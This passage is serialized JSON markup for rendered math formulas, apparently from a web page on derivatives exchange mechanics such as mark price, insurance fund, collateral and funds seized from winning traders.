p:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[160945,160949],{"type":23,"tag":314,"props":160946,"children":160948},{"className":160947,"style":3305},[3304],[],{"type":23,"tag":314,"props":160950,"children":160952},{"className":160951},[3310,3311,3312,3313],[160953],{"type":23,"tag":314,"props":160954,"children":160956},{"className":160955},[3264,20825,3313],[160957],{"type":28,"value":20967},{"type":23,"tag":314,"props":160959,"children":160961},{"className":160960},[20982],[160962],{"type":28,"value":20985},{"type":23,"tag":314,"props":160964,"children":160966},{"className":160965},[3290],[160967],{"type":23,"tag":314,"props":160968,"children":160970},{"className":160969,"style":92382},[3295],[160971],{"type":23,"tag":314,"props":160972,"children":160973},{},[],{"type":23,"tag":314,"props":160975,"children":160977},{"className":160976},[20982],[160978],{"type":28,"value":20985},{"type":23,"tag":314,"props":160980,"children":160982},{"className":160981},[3290],[160983],{"type":23,"tag":314,"props":160984,"children":160987},{"className":160985,"style":160986},[3295],"height:11.3392em;",[160988],{"type":23,"tag":314,"props":160989,"children":160990},{},[],{"type":23,"tag":314,"props":160992,"children":160994},{"className":160993},[159110],[160995],{"type":23,"tag":314,"props":160996,"children":160998},{"className":160997},[3285,20879],[160999,162701],{"type":23,"tag":314,"props":161000,"children":161002},{"className":161001},[3290],[161003,162696],{"type":23,"tag":314,"props":161004,"children":161006},{"className":161005,"style":160187},[3295],[161007,161045,161083,161230,161465,161620,161725,161768,161989,162148,162338,162490],{"type":23,"tag":314,"props":161008,"children":161009},{"style":160191},[161010,161014],{"type":23,"tag":314,"props":161011,"children":161013},{"className":161012,"style":160196},[3304],[],{"type":23,"tag":314,"props":161015,"children":161017},{"className":161016},[3264],[161018,161022,161026,161031,161035],{"type":23,"tag":314,"props":161019,"children":161021},{"className":161020},[3264],[],{"type":23,"tag":314,"props":161023,"children":161025},{"className":161024,"style":3442},[3344],[],{"type":23,"tag":314,"props":161027,"children":161029},{"className":161028},[3447],[161030],{"type":28,"value":20844},{"type":23,"tag":314,"props":161032,"children":161034},{"className":161033,"style":3442},[3344],[],{"type":23,"tag":314,"props":161036,"children":161038},{"className":161037},[3264,28],[161039],{"type":23,"tag":314,"props":161040,"children":161042},{"className":161041},[3264],[161043],{"type":28,"value":161044},"mark price",{"type":23,"tag":314,"props":161046,"children":161047},{"style":160262},[161048,161052],{"type":23,"tag":314,"props":161049,"children":161051},{"className":161050,"style":160196},[3304],[],{"type":23,"tag":314,"props":161053,"children":161055},{"className":161054},[3264],[161056,161060,161064,161069,161073],{"type":23,"tag":314,"props":161057,"children":161059},{"className":161058},[3264],[],{"type":23,"tag":314,"props":161061,"children":161063},{"className":161062,"style":3442},[3344],[],{"type":23,"tag":314,"props":161065,"children":161067},{"className":161066},[3447],[161068],{"type":28,"value":20844},{"type":23,"tag":314,"props":161070,"children":161072},{"className":161071,"style":3442},[3344],[],{"type":23,"tag":314,"props":161074,"children":161076},{"className":161075},[3264,28],[161077],{"type":23,"tag":314,"props":161078,"children":161080},{"className":161079},[3264],[161081],{"type":28,"value":161082},"insurance fund",{"type":23,"tag":314,"props":161084,"children":161085},{"style":160279},[161086,161090],{"type":23,"tag":314,"props":161087,"children":161089},{"className":161088,"style":160196},[3304],[],{"type":23,"tag":314,"props":161091,"children":161093},{"className":161092},[3264],[161094,161098,161102,161107,161111,161121,161125,161130,161134],{"type":23,"tag":314,"props":161095,"children":161097},{"className":161096},[3264],[],{"type":23,"tag":314,"props":161099,"children":161101},{"className":161100,"style":3442},[3344],[],{"type":23,"tag":314,"props":161103,"children":161105},{"className":161104},[3447],[161106],{"type":28,"value":20844},{"type":23,"tag":314,"props":161108,"children":161110},{"className":161109,"style":3442},[3344],[],{"type":23,"tag":314,"props":161112,"children":161114},{"className":161113},[3264,28],[161115],{"type":23,"tag":314,"props":161116,"children":161118},{"className":161117},[3264],[161119],{"type":28,"value":161120},"collateral",{"type":23,"tag":314,"props":161122,"children":161124},{"className":161123,"style":3442},[3344],[],{"type":23,"tag":314,"props":161126,"children":161128},{"className":161127},[3447],[161129],{"type":28,"value":1102},{"type":23,"tag":314,"props":161131,"children":161133},{"className":161132,"style":3442},[3344],[],{"type":23,"tag":314,"props":161135,"children":161137},{"className":161136},[3264],[161138,161142,161226],{"type":23,"tag":314,"props":161139,"children":161141},{"className":161140},[20954,112817],[],{"type":23,"tag":314,"props":161143,"children":161145},{"className":161144},[112822],[161146],{"type":23,"tag":314,"props":161147,"children":161149},{"className":161148},[3285,20879],[161150,161215],{"type":23,"tag":314,"props":161151,"children":161153},{"className":161152},[3290],[161154,161210],{"type":23,"tag":314,"props":161155,"children":161158},{"className":161156,"style":161157},[3295],"height:1.3714em;",[161159,161179,161190],{"type":23,"tag":314,"props":161160,"children":161161},{"style":158405},[161162,161166],{"type":23,"tag":314,"props":161163,"children":161165},{"className":161164,"style":111470},[3304],[],{"type":23,"tag":314,"props":161167,"children":161169},{"className":161168},[3264],[161170],{"type":23,"tag":314,"props":161171,"children":161173},{"className":161172},[3264,28],[161174],{"type":23,"tag":314,"props":161175,"children":161177},{"className":161176},[3264],[161178],{"type":28,"value":158442},{"type":23,"tag":314,"props":161180,"children":161181},{"style":112872},[161182,161186],{"type":23,"tag":314,"props":161183,"children":161185},{"className":161184,"style":111470},[3304],[],{"type":23,"tag":314,"props":161187,"children":161189},{"className":161188,"style":112882},[112881],[],{"type":23,"tag":314,"props":161191,"children":161192},{"style":158456},[161193,161197],{"type":23,"tag":314,"props":161194,"children":161196},{"className":161195,"style":111470},[3304],[],{"type":23,"tag":314,"props":161198,"children":161200},{"className":161199},[3264],[161201],{"type":23,"tag":314,"props":161202,"children":161204},{"className":161203},[3264,28],[161205],{"type":23,"tag":314,"props":161206,"children":161208},{"className":161207},[3264],[161209],{"type":28,"value":158481},{"type":23,"tag":314,"props":161211,"children":161213},{"className":161212},[20982],[161214],{"type":28,"value":20985},{"type":23,"tag":314,"props":161216,"children":161218},{"className":161217},[3290],[161219],{"type":23,"tag":314,"props":161220,"children":161222},{"className":161221,"style":158499},[3295],[161223],{"type":23,"tag":314,"props":161224,"children":161225},{},[],{"type":23,"tag":314,"props":161227,"children":161229},{"className":161228},[20976,112817],[],{"type":23,"tag":314,"props":161231,"children":161232},{"style":160348},[161233,161237],{"type":23,"tag":314,"props":161234,"children":161236},{"className":161235,"style":160196},[3304],[],{"type":23,"tag":314,"props":161238,"children":161240},{"className":161239},[3264],[161241,161245,161249,161254,161258,161315,161319,161324,161328,161333,161390,161394,161399,161403,161460],{"type":23,"tag":314,"props":161242,"children":161244},{"className":161243},[3264],[],{"type":23,"tag":314,"props":161246,"children":161248},{"className":161247,"style":3442},[3344],[],{"type":23,"tag":314,"props":161250,"children":161252},{"className":161251},[3447],[161253],{"type":28,"value":1102},{"type":23,"tag":314,"props":161255,"children":161257},{"className":161256,"style":3442},[3344],[],{"type":23,"tag":314,"props":161259,"children":161261},{"className":161260},[3264],[161262,161267],{"type":23,"tag":314,"props":161263,"children":161265},{"className":161264},[3264,20825],[161266],{"type":28,"value":9900},{"type":23,"tag":314,"props":161268,"children":161270},{"className":161269},[3280],[161271],{"type":23,"tag":314,"props":161272,"children":161274},{"className":161273},[3285,20879],[161275,161304],{"type":23,"tag":314,"props":161276,"children":161278},{"className":161277},[3290],[161279,161299],{"type":23,"tag":314,"props":161280,"children":161282},{"className":161281,"style":92828},[3295],[161283],{"type":23,"tag":314,"props":161284,"children":161285},{"style":92355},[161286,161290],{"type":23,"tag":314,"props":161287,"children":161289},{"className":161288,"style":3305},[3304],[],{"type":23,"tag":314,"props":161291,"children":161293},{"className":161292},[3310,3311,3312,3313],[161294],{"type":23,"tag":314,"props":161295,"children":161297},{"className":161296},[3264,20825,3313],[161298],{"type":28,"value":2993},{"type":23,"tag":314,"props":161300,"children":161302},{"className":161301},[20982],[161303],{"type":28,"value":20985},{"type":23,"tag":314,"props":161305,"children":161307},{"className":161306},[3290],[161308],{"type":23,"tag":314,"props":161309,"children":161311},{"className":161310,"style":92382},[3295],[161312],{"type":23,"tag":314,"props":161313,"children":161314},{},[],{"type":23,"tag":314,"props":161316,"children":161318},{"className":161317,"style":3345},[3344],[],{"type":23,"tag":314,"props":161320,"children":161322},{"className":161321},[3350],[161323],{"type":28,"value":110561},{"type":23,"tag":314,"props":161325,"children":161327},{"className":161326,"style":3345},[3344],[],{"type":23,"tag":314,"props":161329,"children":161331},{"className":161330},[20954],[161332],{"type":28,"value":341},{"type":23,"tag":314,"props":161334,"children":161336},{"className":161335},[3264],[161337,161342],{"type":23,"tag":314,"props":161338,"children":161340},{"className":161339,"style":20826},[3264,20825],[161341],{"type":28,"value":20829},{"type":23,"tag":314,"props":161343,"children":161345},{"className":161344},[3280],[161346],{"type":23,"tag":314,"props":161347,"children":161349},{"className":161348},[3285,20879],[161350,161379],{"type":23,"tag":314,"props":161351,"children":161353},{"className":161352},[3290],[161354,161374],{"type":23,"tag":314,"props":161355,"children":161357},{"className":161356,"style":108731},[3295],[161358],{"type":23,"tag":314,"props":161359,"children":161360},{"style":160229},[161361,161365],{"type":23,"tag":314,"props":161362,"children":161364},{"className":161363,"style":3305},[3304],[],{"type":23,"tag":314,"props":161366,"children":161368},{"className":161367},[3310,3311,3312,3313],[161369],{"type":23,"tag":314,"props":161370,"children":161372},{"className":161371},[3264,20825,3313],[161373],{"type":28,"value":55654},{"type":23,"tag":314,"props":161375,"children":161377},{"className":161376},[20982],[161378],{"type":28,"value":20985},{"type":23,"tag":314,"props":161380,"children":161382},{"className":161381},[3290],[161383],{"type":23,"tag":314,"props":161384,"children":161386},{"className":161385,"style":92382},[3295],[161387],{"type":23,"tag":314,"props":161388,"children":161389},{},[],{"type":23,"tag":314,"props":161391,"children":161393},{"className":161392,"style":3345},[3344],[],{"type":23,"tag":314,"props":161395,"children":161397},{"className":161396},[3350],[161398],{"type":28,"value":3324},{"type":23,"tag":314,"props":161400,"children":161402},{"className":161401,"style":3345},[3344],[],{"type":23,"tag":314,"props":161404,"children":161406},{"className":161405},[3264],[161407,161412],{"type":23,"tag":314,"props":161408,"children":161410},{"className":161409},[3264,20825],[161411],{"type":28,"value":24},{"type":23,"tag":314,"props":161413,"children":161415},{"className":161414},[3280],[161416],{"type":23,"tag":314,"props":161417,"children":161419},{"className":161418},[3285,20879],[161420,161449],{"type":23,"tag":314,"props":161421,"children":161423},{"className":161422},[3290],[161424,161444],{"type":23,"tag":314,"props":161425,"children":161427},{"className":161426,"style":92828},[3295],[161428],{"type":23,"tag":314,"props":161429,"children":161430},{"style":92355},[161431,161435],{"type":23,"tag":314,"props":161432,"children":161434},{"className":161433,"style":3305},[3304],[],{"type":23,"tag":314,"props":161436,"children":161438},{"className":161437},[3310,3311,3312,3313],[161439],{"type":23,"tag":314,"props":161440,"children":161442},{"className":161441},[3264,20825,3313],[161443],{"type":28,"value":2993},{"type":23,"tag":314,"props":161445,"children":161447},{"className":161446},[20982],[161448],{"type":28,"value":20985},{"type":23,"tag":314,"props":161450,"children":161452},{"className":161451},[3290],[161453],{"type":23,"tag":314,"props":161454,"children":161456},{"className":161455,"style":92382},[3295],[161457],{"type":23,"tag":314,"props":161458,"children":161459},{},[],{"type":23,"tag":314,"props":161461,"children":161463},{"className":161462},[20976],[161464],{"type":28,"value":431},{"type":23,"tag":314,"props":161466,"children":161467},{"style":160418},[161468,161472],{"type":23,"tag":314,"props":161469,"children":161471},{"className":161470,"style":160196},[3304],[],{"type":23,"tag":314,"props":161473,"children":161475},{"className":161474},[3264],[161476,161480,161484,161489,161493,161550,161554,161559,161563],{"type":23,"tag":314,"props":161477,"children":161479},{"className":161478},[3264],[],{"type":23,"tag":314,"props":161481,"children":161483},{"className":161482,"style":3442},[3344],[],{"type":23,"tag":314,"props":161485,"children":161487},{"className":161486},[3447],[161488],{"type":28,"value":1102},{"type":23,"tag":314,"props":161490,"children":161492},{"className":161491,"style":3442},[3344],[],{"type":23,"tag":314,"props":161494,"children":161496},{"className":161495},[3264],[161497,161502],{"type":23,"tag":314,"props":161498,"children":161500},{"className":161499},[3264,20825],[161501],{"type":28,"value":308},{"type":23,"tag":314,"props":161503,"children":161505},{"className":161504},[3280],[161506],{"type":23,"tag":314,"props":161507,"children":161509},{"className":161508},[3285,20879],[161510,161539],{"type":23,"tag":314,"props":161511,"children":161513},{"className":161512},[3290],[161514,161534],{"type":23,"tag":314,"props":161515,"children":161517},{"className":161516,"style":92828},[3295],[161518],{"type":23,"tag":314,"props":161519,"children":161520},{"style":92355},[161521,161525],{"type":23,"tag":314,"props":161522,"children":161524},{"className":161523,"style":3305},[3304],[],{"type":23,"tag":314,"props":161526,"children":161528},{"className":161527},[3310,3311,3312,3313],[161529],{"type":23,"tag":314,"props":161530,"children":161532},{"className":161531},[3264,20825,3313],[161533],{"type":28,"value":2993},{"type":23,"tag":314,"props":161535,"children":161537},{"className":161536},[20982],[161538],{"type":28,"value":20985},{"type":23,"tag":314,"props":161540,"children":161542},{"className":161541},[3290],[161543],{"type":23,"tag":314,"props":161544,"children":161546},{"className":161545,"style":92382},[3295],[161547],{"type":23,"tag":314,"props":161548,"children":161549},{},[],{"type":23,"tag":314,"props":161551,"children":161553},{"className":161552,"style":3345},[3344],[],{"type":23,"tag":314,"props":161555,"children":161557},{"className":161556},[3350],[161558],{"type":28,"value":1130},{"type":23,"tag":314,"props":161560,"children":161562},{"className":161561,"style":3345},[3344],[],{"type":23,"tag":314,"props":161564,"children":161566},{"className":161565},[3264],[161567,161572],{"type":23,"tag":314,"props":161568,"children":161570},{"className":161569,"style":92785},[3264,20825],[161571],{"type":28,"value":160367},{"type":23,"tag":314,"props":161573,"children":161575},{"className":161574},[3280],[161576],{"type":23,"tag":314,"props":161577,"children":161579},{"className":161578},[3285,20879],[161580,161609],{"type":23,"tag":314,"props":161581,"children":161583},{"className":161582},[3290],[161584,161604],{"type":23,"tag":314,"props":161585,"children":161587},{"className":161586,"style":92828},[3295],[161588],{"type":23,"tag":314,"props":161589,"children":161590},{"style":92832},[161591,161595],{"type":23,"tag":314,"props":161592,"children":161594},{"className":161593,"style":3305},[3304],[],{"type":23,"tag":314,"props":161596,"children":161598},{"className":161597},[3310,3311,3312,3313],[161599],{"type":23,"tag":314,"props":161600,"children":161602},{"className":161601},[3264,20825,3313],[161603],{"type":28,"value":2993},{"type":23,"tag":314,"props":161605,"children":161607},{"className":161606},[20982],[161608],{"type":28,"value":20985},{"type":23,"tag":314,"props":161610,"children":161612},{"className":161611},[3290],[161613],{"type":23,"tag":314,"props":161614,"children":161616},{"className":161615,"style":92382},[3295],[161617],{"type":23,"tag":314,"props":161618,"children":161619},{},[],{"type":23,"tag":314,"props":161621,"children":161622},{"style":160487},[161623,161627],{"type":23,"tag":314,"props":161624,"children":161626},{"className":161625,"style":160196},[3304],[],{"type":23,"tag":314,"props":161628,"children":161630},{"className":161629},[3264],[161631,161635,161639,161644,161648],{"type":23,"tag":314,"props":161632,"children":161634},{"className":161633},[3264],[],{"type":23,"tag":314,"props":161636,"children":161638},{"className":161637,"style":3442},[3344],[],{"type":23,"tag":314,"props":161640,"children":161642},{"className":161641},[3447],[161643],{"type":28,"value":1102},{"type":23,"tag":314,"props":161645,"children":161647},{"className":161646,"style":3442},[3344],[],{"type":23,"tag":314,"props":161649,"children":161651},{"className":161650},[3264],[161652,161657],{"type":23,"tag":314,"props":161653,"children":161655},{"className":161654,"style":92785},[3264,20825],[161656],{"type":28,"value":160367},{"type":23,"tag":314,"props":161658,"children":161660},{"className":161659},[3280],[161661],{"type":23,"tag":314,"props":161662,"children":161664},{"className":161663},[3285,20879],[161665,161713],{"type":23,"tag":314,"props":161666,"children":161668},{"className":161667},[3290],[161669,161708],{"type":23,"tag":314,"props":161670,"children":161673},{"className":161671,"style":161672},[3295],"height:0.8213em;",[161674,161691],{"type":23,"tag":314,"props":161675,"children":161677},{"style":161676},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[161678,161682],{"type":23,"tag":314,"props":161679,"children":161681},{"className":161680,"style":3305},[3304],[],{"type":23,"tag":314,"props":161683,"children":161685},{"className":161684},[3310,3311,3312,3313],[161686],{"type":23,"tag":314,"props":161687,"children":161689},{"className":161688},[3264,20825,3313],[161690],{"type":28,"value":2993},{"type":23,"tag":314,"props":161692,"children":161694},{"style":161693},"top:-3.113em;margin-right:0.05em;",[161695,161699],{"type":23,"tag":314,"props":161696,"children":161698},{"className":161697,"style":3305},[3304],[],{"type":23,"tag":314,"props":161700,"children":161702},{"className":161701},[3310,3311,3312,3313],[161703],{"type":23,"tag":314,"props":161704,"children":161706},{"className":161705},[3350,3313],[161707],{"type":28,"value":1130},{"type":23,"tag":314,"props":161709,"children":161711},{"className":161710},[20982],[161712],{"type":28,"value":20985},{"type":23,"tag":314,"props":161714,"children":161716},{"className":161715},[3290],[161717],{"type":23,"tag":314,"props":161718,"children":161721},{"className":161719,"style":161720},[3295],"height:0.267em;",[161722],{"type":23,"tag":314,"props":161723,"children":161724},{},[],{"type":23,"tag":314,"props":161726,"children":161727},{"style":160557},[161728,161732],{"type":23,"tag":314,"props":161729,"children":161731},{"className":161730,"style":160196},[3304],[],{"type":23,"tag":314,"props":161733,"children":161735},{"className":161734},[3264],[161736,161740,161744,161749,161753,161763],{"type":23,"tag":314,"props":161737,"children":161739},{"className":161738},[3264],[],{"type":23,"tag":314,"props":161741,"children":161743},{"className":161742,"style":3442},[3344],[],{"type":23,"tag":314,"props":161745,"children":161747},{"className":161746},[3447],[161748],{"type":28,"value":20844},{"type":23,"tag":314,"props":161750,"children":161752},{"className":161751,"style":3442},[3344],[],{"type":23,"tag":314,"props":161754,"children":161756},{"className":161755},[3264,28],[161757],{"type":23,"tag":314,"props":161758,"children":161760},{"className":161759},[3264],[161761],{"type":28,"value":161762},"dollars seized from winner ",{"type":23,"tag":314,"props":161764,"children":161766},{"className":161765},[3264,20825],[161767],{"type":28,"value":2993},{"type":23,"tag":314,"props":161769,"children":161770},{"style":160626},[161771,161775],{"type":23,"tag":314,"props":161772,"children":161774},{"className":161773,"style":160196},[3304],[],{"type":23,"tag":314,"props":161776,"children":161778},{"className":161777},[3264],[161779,161783,161787,161792,161796],{"type":23,"tag":314,"props":161780,"children":161782},{"className":161781},[3264],[],{"type":23,"tag":314,"props":161784,"children":161786},{"className":161785,"style":3442},[3344],[],{"type":23,"tag":314,"props":161788,"children":161790},{"className":161789},[3447],[161791],{"type":28,"value":1102},{"type":23,"tag":314,"props":161793,"children":161795},{"className":161794,"style":3442},[3344],[],{"type":23,"tag":314,"props":161797,"children":161799},{"className":161798},[3264],[161800,161804,161985],{"type":23,"tag":314,"props":161801,"children":161803},{"className":161802},[20954,112817],[],{"type":23,"tag":314,"props":161805,"children":161807},{"className":161806},[112822],[161808],{"type":23,"tag":314,"props":161809,"children":161811},{"className":161810},[3285,20879],[161812,161973],{"type":23,"tag":314,"props":161813,"children":161815},{"className":161814},[3290],[161816,161968],{"type":23,"tag":314,"props":161817,"children":161820},{"className":161818,"style":161819},[3295],"height:1.1076em;",[161821,161889,161900],{"type":23,"tag":314,"props":161822,"children":161823},{"style":158405},[161824,161828],{"type":23,"tag":314,"props":161825,"children":161827},{"className":161826,"style":111470},[3304],[],{"type":23,"tag":314,"props":161829,"children":161831},{"className":161830},[3264],[161832],{"type":23,"tag":314,"props":161833,"children":161835},{"className":161834},[3264],[161836,161841],{"type":23,"tag":314,"props":161837,"children":161839},{"className":161838,"style":121579},[3264,20825],[161840],{"type":28,"value":48822},{"type":23,"tag":314,"props":161842,"children":161844},{"className":161843},[3280],[161845],{"type":23,"tag":314,"props":161846,"children":161848},{"className":161847},[3285,20879],[161849,161878],{"type":23,"tag":314,"props":161850,"children":161852},{"className":161851},[3290],[161853,161873],{"type":23,"tag":314,"props":161854,"children":161856},{"className":161855,"style":92828},[3295],[161857],{"type":23,"tag":314,"props":161858,"children":161859},{"style":160524},[161860,161864],{"type":23,"tag":314,"props":161861,"children":161863},{"className":161862,"style":3305},[3304],[],{"type":23,"tag":314,"props":161865,"children":161867},{"className":161866},[3310,3311,3312,3313],[161868],{"type":23,"tag":314,"props":161869,"children":161871},{"className":161870},[3264,20825,3313],[161872],{"type":28,"value":2993},{"type":23,"tag":314,"props":161874,"children":161876},{"className":161875},[20982],[161877],{"type":28,"value":20985},{"type":23,"tag":314,"props":161879,"children":161881},{"className":161880},[3290],[161882],{"type":23,"tag":314,"props":161883,"children":161885},{"className":161884,"style":92382},[3295],[161886],{"type":23,"tag":314,"props":161887,"children":161888},{},[],{"type":23,"tag":314,"props":161890,"children":161891},{"style":112872},[161892,161896],{"type":23,"tag":314,"props":161893,"children":161895},{"className":161894,"style":111470},[3304],[],{"type":23,"tag":314,"props":161897,"children":161899},{"className":161898,"style":112882},[112881],[],{"type":23,"tag":314,"props":161901,"children":161902},{"style":158456},[161903,161907],{"type":23,"tag":314,"props":161904,"children":161906},{"className":161905,"style":111470},[3304],[],{"type":23,"tag":314,"props":161908,"children":161910},{"className":161909},[3264],[161911],{"type":23,"tag":314,"props":161912,"children":161914},{"className":161913},[3264],[161915,161920],{"type":23,"tag":314,"props":161916,"children":161918},{"className":161917},[3264,20825],[161919],{"type":28,"value":18514},{"type":23,"tag":314,"props":161921,"children":161923},{"className":161922},[3280],[161924],{"type":23,"tag":314,"props":161925,"children":161927},{"className":161926},[3285,20879],[161928,161957],{"type":23,"tag":314,"props":161929,"children":161931},{"className":161930},[3290],[161932,161952],{"type":23,"tag":314,"props":161933,"children":161935},{"className":161934,"style":92828},[3295],[161936],{"type":23,"tag":314,"props":161937,"children":161938},{"style":92355},[161939,161943],{"type":23,"tag":314,"props":161940,"children":161942},{"className":161941,"style":3305},[3304],[],{"type":23,"tag":314,"props":161944,"children":161946},{"className":161945},[3310,3311,3312,3313],[161947],{"type":23,"tag":314,"props":161948,"children":161950},{"className":161949},[3264,20825,3313],[161951],{"type":28,"value":2993},{"type":23,"tag":314,"props":161953,"children":161955},{"className":161954},[20982],[161956],{"type":28,"value":20985},{"type":23,"tag":314,"props":161958,"children":161960},{"className":161959},[3290],[161961],{"type":23,"tag":314,"props":161962,"children":161964},{"className":161963,"style":92382},[3295],[161965],{"type":23,"tag":314,"props":161966,"children":161967},{},[],{"type":23,"tag":314,"props":161969,"children":161971},{"className":161970},[20982],[161972],{"type":28,"value":20985},{"type":23,"tag":314,"props":161974,"children":161976},{"className":161975},[3290],[161977],{"type":23,"tag":314,"props":161978,"children":161981},{"className":161979,"style":161980},[3295],"height:0.836em;",[161982],{"type":23,"tag":314,"props":161983,"children":161984},{},[],{"type":23,"tag":314,"props":161986,"children":161988},{"className":161987},[20976,112817],[],{"type":23,"tag":314,"props":161990,"children":161991},{"style":160695},[161992,161996],{"type":23,"tag":314,"props":161993,"children":161995},{"className":161994,"style":160196},[3304],[],{"type":23,"tag":314,"props":161997,"children":161999},{"className":161998},[3264],[162000,162004,162008,162013,162017,162087,162091],{"type":23,"tag":314,"props":162001,"children":162003},{"className":162002},[3264],[],{"type":23,"tag":314,"props":162005,"children":162007},{"className":162006,"style":3442},[3344],[],{"type":23,"tag":314,"props":162009,"children":162011},{"className":162010},[3447],[162012],{"type":28,"value":1102},{"type":23,"tag":314,"props":162014,"children":162016},{"className":162015,"style":3442},[3344],[],{"type":23,"tag":314,"props":162018,"children":162021},{"className":162019},[20861,162020],"op-limits",[162022],{"type":23,"tag":314,"props":162023,"children":162025},{"className":162024},[3285,20879],[162026,162075],{"type":23,"tag":314,"props":162027,"children":162029},{"className":162028},[3290],[162030,162070],{"type":23,"tag":314,"props":162031,"children":162034},{"className":162032,"style":162033},[3295],"height:1.05em;",[162035,162053],{"type":23,"tag":314,"props":162036,"children":162038},{"style":162037},"top:-1.8723em;margin-left:0em;",[162039,162044],{"type":23,"tag":314,"props":162040,"children":162043},{"className":162041,"style":162042},[3304],"height:3.05em;",[],{"type":23,"tag":314,"props":162045,"children":162047},{"className":162046},[3310,3311,3312,3313],[162048],{"type":23,"tag":314,"props":162049,"children":162051},{"className":162050},[3264,20825,3313],[162052],{"type":28,"value":2993},{"type":23,"tag":314,"props":162054,"children":162056},{"style":162055},"top:-3.05em;",[162057,162061],{"type":23,"tag":314,"props":162058,"children":162060},{"className":162059,"style":162042},[3304],[],{"type":23,"tag":314,"props":162062,"children":162063},{},[162064],{"type":23,"tag":314,"props":162065,"children":162068},{"className":162066},[20861,20866,162067],"large-op",[162069],{"type":28,"value":108094},{"type":23,"tag":314,"props":162071,"children":162073},{"className":162072},[20982],[162074],{"type":28,"value":20985},{"type":23,"tag":314,"props":162076,"children":162078},{"className":162077},[3290],[162079],{"type":23,"tag":314,"props":162080,"children":162083},{"className":162081,"style":162082},[3295],"height:1.2777em;",[162084],{"type":23,"tag":314,"props":162085,"children":162086},{},[],{"type":23,"tag":314,"props":162088,"children":162090},{"className":162089,"style":3383},[3344],[],{"type":23,"tag":314,"props":162092,"children":162094},{"className":162093},[3264],[162095,162100],{"type":23,"tag":314,"props":162096,"children":162098},{"className":162097},[3264,20825],[162099],{"type":28,"value":18514},{"type":23,"tag":314,"props":162101,"children":162103},{"className":162102},[3280],[162104],{"type":23,"tag":314,"props":162105,"children":162107},{"className":162106},[3285,20879],[162108,162137],{"type":23,"tag":314,"props":162109,"children":162111},{"className":162110},[3290],[162112,162132],{"type":23,"tag":314,"props":162113,"children":162115},{"className":162114,"style":92828},[3295],[162116],{"type":23,"tag":314,"props":162117,"children":162118},{"style":92355},[162119,162123],{"type":23,"tag":314,"props":162120,"children":162122},{"className":162121,"style":3305},[3304],[],{"type":23,"tag":314,"props":162124,"children":162126},{"className":162125},[3310,3311,3312,3313],[162127],{"type":23,"tag":314,"props":162128,"children":162130},{"className":162129},[3264,20825,3313],[162131],{"type":28,"value":2993},{"type":23,"tag":314,"props":162133,"children":162135},{"className":162134},[20982],[162136],{"type":28,"value":20985},{"type":23,"tag":314,"props":162138,"children":162140},{"className":162139},[3290],[162141],{"type":23,"tag":314,"props":162142,"children":162144},{"className":162143,"style":92382},[3295],[162145],{"type":23,"tag":314,"props":162146,"children":162147},{},[],{"type":23,"tag":314,"props":162149,"children":162150},{"style":160764},[162151,162155],{"type":23,"tag":314,"props":162152,"children":162154},{"className":162153,"style":160196},[3304],[],{"type":23,"tag":314,"props":162156,"children":162158},{"className":162157},[3264],[162159,162163,162167,162172,162176,162239,162243,162248,162253,162258,162315,162320,162324,162328,162333],{"type":23,"tag":314,"props":162160,"children":162162},{"className":162161},[3264],[],{"type":23,"tag":314,"props":162164,"children":162166},{"className":162165,"style":3442},[3344],[],{"type":23,"tag":314,"props":162168,"children":162170},{"className":162169},[3447],[162171],{"type":28,"value":1102},{"type":23,"tag":314,"props":162173,"children":162175},{"className":162174,"style":3442},[3344],[],{"type":23,"tag":314,"props":162177,"children":162179},{"className":162178},[20861,162020],[162180],{"type":23,"tag":314,"props":162181,"children":162183},{"className":162182},[3285,20879],[162184,162228],{"type":23,"tag":314,"props":162185,"children":162187},{"className":162186},[3290],[162188,162223],{"type":23,"tag":314,"props":162189,"children":162191},{"className":162190,"style":162033},[3295],[162192,162208],{"type":23,"tag":314,"props":162193,"children":162194},{"style":162037},[162195,162199],{"type":23,"tag":314,"props":162196,"children":162198},{"className":162197,"style":162042},[3304],[],{"type":23,"tag":314,"props":162200,"children":162202},{"className":162201},[3310,3311,3312,3313],[162203],{"type":23,"tag":314,"props":162204,"children":162206},{"className":162205},[3264,20825,3313],[162207],{"type":28,"value":2993},{"type":23,"tag":314,"props":162209,"children":162210},{"style":162055},[162211,162215],{"type":23,"tag":314,"props":162212,"children":162214},{"className":162213,"style":162042},[3304],[],{"type":23,"tag":314,"props":162216,"children":162217},{},[162218],{"type":23,"tag":314,"props":162219,"children":162221},{"className":162220},[20861,20866,162067],[162222],{"type":28,"value":108094},{"type":23,"tag":314,"props":162224,"children":162226},{"className":162225},[20982],[162227],{"type":28,"value":20985},{"type":23,"tag":314,"props":162229,"children":162231},{"className":162230},[3290],[162232],{"type":23,"tag":314,"props":162233,"children":162235},{"className":162234,"style":162082},[3295],[162236],{"type":23,"tag":314,"props":162237,"children":162238},{},[],{"type":23,"tag":314,"props":162240,"children":162242},{"className":162241,"style":3383},[3344],[],{"type":23,"tag":314,"props":162244,"children":162246},{"className":162245},[20861],[162247],{"type":28,"value":159910},{"type":23,"tag":314,"props":162249,"children":162251},{"className":162250},[20954],[162252],{"type":28,"value":341},{"type":23,"tag":314,"props":162254,"children":162256},{"className":162255},[3264],[162257],{"type":28,"value":3324},{"type":23,"tag":314,"props":162259,"children":162261},{"className":162260},[3264],[162262,162267],{"type":23,"tag":314,"props":162263,"children":162265},{"className":162264},[3264,20825],[162266],{"type":28,"value":50705},{"type":23,"tag":314,"props":162268,"children":162270},{"className":162269},[3280],[162271],{"type":23,"tag":314,"props":162272,"children":162274},{"className":162273},[3285,20879],[162275,162304],{"type":23,"tag":314,"props":162276,"children":162278},{"className":162277},[3290],[162279,162299],{"type":23,"tag":314,"props":162280,"children":162282},{"className":162281,"style":92828},[3295],[162283],{"type":23,"tag":314,"props":162284,"children":162285},{"style":92355},[162286,162290],{"type":23,"tag":314,"props":162287,"children":162289},{"className":162288,"style":3305},[3304],[],{"type":23,"tag":314,"props":162291,"children":162293},{"className":162292},[3310,3311,3312,3313],[162294],{"type":23,"tag":314,"props":162295,"children":162297},{"className":162296},[3264,20825,3313],[162298],{"type":28,"value":2993},{"type":23,"tag":314,"props":162300,"children":162302},{"className":162301},[20982],[162303],{"type":28,"value":20985},{"type":23,"tag":314,"props":162305,"children":162307},{"className":162306},[3290],[162308],{"type":23,"tag":314,"props":162309,"children":162311},{"className":162310,"style":92382},[3295],[162312],{"type":23,"tag":314,"props":162313,"children":162314},{},[],{"type":23,"tag":314,"props":162316,"